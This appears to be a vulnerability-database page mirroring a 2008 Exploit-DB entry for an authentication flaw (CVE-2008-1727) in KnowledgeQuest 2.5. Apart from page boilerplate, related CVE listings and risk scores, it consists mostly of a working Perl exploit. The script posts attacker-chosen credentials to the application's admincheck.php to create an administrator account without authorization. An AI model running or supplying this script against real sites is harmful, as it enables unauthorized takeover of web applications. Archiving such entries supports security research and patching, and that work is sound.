Lucene search
+L

KnowledgeQuest 2.5 - Arbitrary Add Admin

🗓️ 09 Apr 2008 00:00:00Reported by t0pP8uZzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

KnowledgeQuest 2.5 Arbitrary Add Admin - Exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-1727
9 Apr 200800:00
circl
CVE
CVE-2008-1727
11 Apr 200819:00
cve
Cvelist
CVE-2008-1727
11 Apr 200819:00
cvelist
EUVD
EUVD-2008-1728
7 Oct 202500:30
euvd
NVD
CVE-2008-1727
11 Apr 200819:05
nvd
Prion
Authentication flaw
11 Apr 200819:05
prion
#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+------------------------------------------+-\n";
print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n";
print "-+------------------------------------------+-\n";
print "-+-     Discovered && Coded By t0pP8uzz    -+-\n";
print "-+-  This Exploit will craft a evilpacket  -+-\n";
print "-+-     which will add a admin account     -+-\n";
print "-+------------------------------------------+-\n";

print "Enter URL: ";
	chomp(my $url=<STDIN>);

print "Enter Username (you will login with this): ";
	chomp(my $usr=<STDIN>);

print "Enter Password (you will login with this): ";
	chomp(my $pwd=<STDIN>);

my $ua  = LWP::UserAgent->new( agent=> 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );
my $res = $ua->post( $url."/admincheck.php", {'username' => $usr, 'password' => $pwd, 'repas' => $pwd} );

if($res->is_success) {

	if($res->content =~ /taken by another user/i) { print "\n\nExploit Failed! Reason: username already taken!"; exit; }

	print "\n\nExploit Success! Login to ".$url."administratorlogin.php with username: ".$usr." and password: ".$pwd."\n";
}

# milw0rm.com [2008-04-09]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.0685
32